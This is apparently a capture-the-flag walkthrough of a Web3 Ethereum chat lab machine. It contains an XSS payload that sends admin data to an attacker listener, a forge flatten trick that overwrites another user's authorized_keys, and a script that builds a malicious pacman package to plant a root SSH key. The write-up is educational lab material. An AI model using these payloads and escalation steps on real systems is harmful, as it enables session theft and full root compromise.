Reconnaissance#
- On scanning with Nmap, it found two ports open 80 and 22-ssh
- First impression of the web is, It is a Web3 and a chat app. As soon as I open It I could see it.

- I can easily get that this page is using Ethereum

- Interesting isn’t it, So I Created an account and logged in
- Has a secure and cool interface to chat

- The chats data are stored using Ethereum in Blocks
- Scooped around a little bit and found
/adminpage but with no access for us - The “Report User” button seems to be little suspicious cause the website is well built but not the report button, It has traditional alert pop up.

Enumeration#
- Turns out the
Report Userbutton functionality is vulnerable to XSS - The stupid admin is clicking around the links.

- But the weird thing here is, Admin is only clicking from alert boxes not just the simple URL/links
- So I made a XSS payload with the help of chatGPT to exfiltrate some data
<img src=x onerror="fetch('http://10.10.11.43/api/info').then(response => {return response.text();}).then(dataFromA => {return fetch(`http://10.10.14.12:8000/?d=${dataFromA}`)})">
- This payload fetches data from
/api/infoand then returns it to my server. This is simple yet effective payload.
- Got the admin cookie and tried to access the
/adminpage. - In the Source of admin page, found some interesting endpoints

- This
json-rpcendpoint can query more, like hashes and stuff - This Documentation has more info about the stuffs that can be done with this endpoint
- But particularly this one catches my attention

- This parameter
eth_blockNumbergets the recent block that saved have been saved. - I tested the endpoint
json-rpcwith thiseth_blockNumber - Seems like the value next to the
paramsvalue is a boolean
- The
Paramsvalue is the the value for the block the request data from it seemed interesting - Request
{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x3",true],"id":1}
- Response
{"id":1,"jsonrpc":"2.0","result":{"baseFeePerGas":"0x2ed9c9d5","blobGasUsed":"0x0","difficulty":"0x0","excessBlobGas":"0x0","extraData":"0x","gasLimit":"0x1c9c380","gasUsed":"0x5208","hash":"0x3a4e1469d5807e4c2aabf2a929f91beb2bc905e079fc5889a476dcf65c716fa2","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","miner":"0x0000000000000000000000000000000000000000","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","number":"0x3","parentHash":"0xbb0a3238a043aca148c25eca9495f869c9d77eb4e09aa10d84c7671bf4c3bed1","receiptsRoot":"0x1ee3363046236ead36f002663ef78ab52f67ac34d6f1f88e10d3880f599467fe","sha3Uncles":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","size":"0x27a","stateRoot":"0xbfe4686238e176ede330654210feb1bb7498d93bb02d29f260f8f196a96a606e","timestamp":"0x677ac8f9","totalDifficulty":"0x0","transactions":[{"accessList":[],"blockHash":"0x3a4e1469d5807e4c2aabf2a929f91beb2bc905e079fc5889a476dcf65c716fa2","blockNumber":"0x3","chainId":"0x7a69","from":"0xb795dc8a5674250b602418e7f804cd162f03338b","gas":"0x5209","gasPrice":"0x2ed9c9d5","hash":"0xeebe19598f35ccc154e96861f410a90f6a76ab9aeec456a880e6cb8b571faf62","input":"0x","maxFeePerGas":"0x5db393aa","maxPriorityFeePerGas":"0x0","nonce":"0x2","r":"0xa1573f48dd6f63e72b9ce8c6227179a139d59870f4d16e874e88d4b93cba095c","s":"0x79d8d9216eceefec581ef607b2aa74211ce4bdb66171882834b5ab8d117b53d6","to":"0x6b388912df3e0c179384903efa36daf47738ec91","transactionIndex":"0x0","type":"0x2","v":"0x0","value":"0x2540be400","yParity":"0x0"}],"transactionsRoot":"0x231277c116523613e92267b48237bd95ea4da316b3b07fa1bb3ad86de49caf78","uncles":[]}}
- But this response is literally a blob of text with multiple values init which mean nothing to us.
Exploitation#
- As this a array, down here by changing the value of
ilike1,2 or 3, we can explore other blocks data
"params":["0xi",true]
- Likewise got a
inputvalue on the response from my request. Which is different from my previous requests
- After trying many Ethereum input data Decoders online, It seemed like hex to me so decoded it with the help of Cyberchef and got a password and username from it.


- Logged in using SSH and got theUser flag

Pivoting#
- User
keiracan sudo as userpaulon a binary calledforge
forgeis the command-line interface (CLI) tool for interacting with a specific framework or environment. It could relate to tools likeFoundryfor Ethereum development and that’s my speculation at first or any it could be someother CLI-based tool with the nameforge- After hours of research I found that I can use
flattenoption in forge to write on any file. - When someone login in using SSH by a private key, SSH checks the authenticity of the key with its public key on the system.
- Here using the
flattenoption in forge, I can simply write the Public key of the userkeirato the userpaul’s public key in his home directory. After that on passing the private key of the userkeiraI can get ssh shell as userpaul
Step-1#
- On the system created ssh keys using this command
ssh-keygen

Step-2#
- Copy the public key of user
keirato the/tmpfolder and Give all necessary permissions.
cp .ssh/id_ed25519.pub /tmp/pub
chmod 644 /tmp/pub


Step-3#
- Exploit it using the
flattenoption to write the public key to the userpaul’s home directory in this.ssh/authorized_keysfile
sudo -u paul /home/paul/.foundry/bin/forge flatten /tmp/pub -o /home/paul/.ssh/authorized_keys

Step-4#
- Now share the private key to the attacker’s system and login using the private key as user
paul
python3 -m http.server --directory .ssh/

- Got access as user
paul
Privilege Escalation#
- As we can see user
paulhas SUDO privilege to runpacman - To exploit this, we can create an own malicious package and install it using pacman.
- Initially I was struggling cause of my malicious package that I made is not working as intended.
- Then after that I used a script from my friend’s blog TheCyberSimon. Kindly support his blog too
- This time the package works
#!/bin/bash
# Create a working directory
mkdir priv && cd priv
# Generate PKGBUILD file
cat <<EOF >PKGBUILD
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege Escalation Package"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
install -Dm755 "\$srcdir/authorized_keys" "\$pkgdir/root/.ssh/authorized_keys"
}
EOF
# Generate SSH keys
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
mv id_rsa.pub authorized_keys
# Build the malicious package
makepkg
# Output message
echo "Malicious package created! Run the following command to deploy:"
echo "sudo pacman -U $(pwd)/privesc-1.0-1-any.pkg.tar.zst"
echo "Don't forget to secure your private key: id_rsa
- This script is quite simple, the script first makes a directory named
privthen creates a file namedPKGBUILDwith malicious code. - The malicious code will write the
rootuser’sauthorized_keysfile with our public key - This script will also create ssh key for the current system in the current directory without any password and then it will replace the public key to
authorized_keys - Then It will execute this command
makepkg. Which will compile the malicious package and will also move the newly created key.
- Transfer this malicious package to the target’s system and install it using
sudo
- On the host system give all the necessary permissions to our private key and use it to login
- System have beenRooted successfully

Summary#
First, the initial scan showed the usual suspects: SSH and a web server on port 80. Right away, the web app looked like a Web3 chat thing powered by Ethereum, which was a bit different. I made an account and poked around. The chat was there, and I noticed this “Report User” button that felt a bit off. Found an admin page too, but no luck getting in at that point.
Next came the poking and prodding. That “Report User” button turned out to be a sweet spot for XSS. The admin on the other end seemed keen on clicking my crafted alerts. Used ChatGPT to whip up a payload to snag their cookie – and it worked like a charm, giving me access to the /admin page. Digging through the source there, I spotted a json-rpc endpoint. That got my attention, especially the eth_blockNumber function. I started messing with the block numbers and noticed I could pull data. One of those inputs looked like hex, so a quick decode with Cyberchef later, and boom, username and password.Time to get in. I took those credentials straight to SSH and landed a shell.Got the user flag, easy enough.
Now for the real fun – getting root. I saw that user keira could run forge as sudo for paul. Did a bit of digging on forge and saw the flatten option could write files. So, I generated some SSH keys, dropped keira’s public key in /tmp, and then used forge flatten to overwrite paul’s authorized_keys with it. That gave me SSH access as paul using keira’s private key. From there, I noticed paul could run pacman with sudo. I cooked up a simple script to create a malicious package that would replace root’s authorized_keys with my own public key. After transferring it over and installing with sudo pacman, I logged in as root with my key and grabbed the root flag. Another one down.



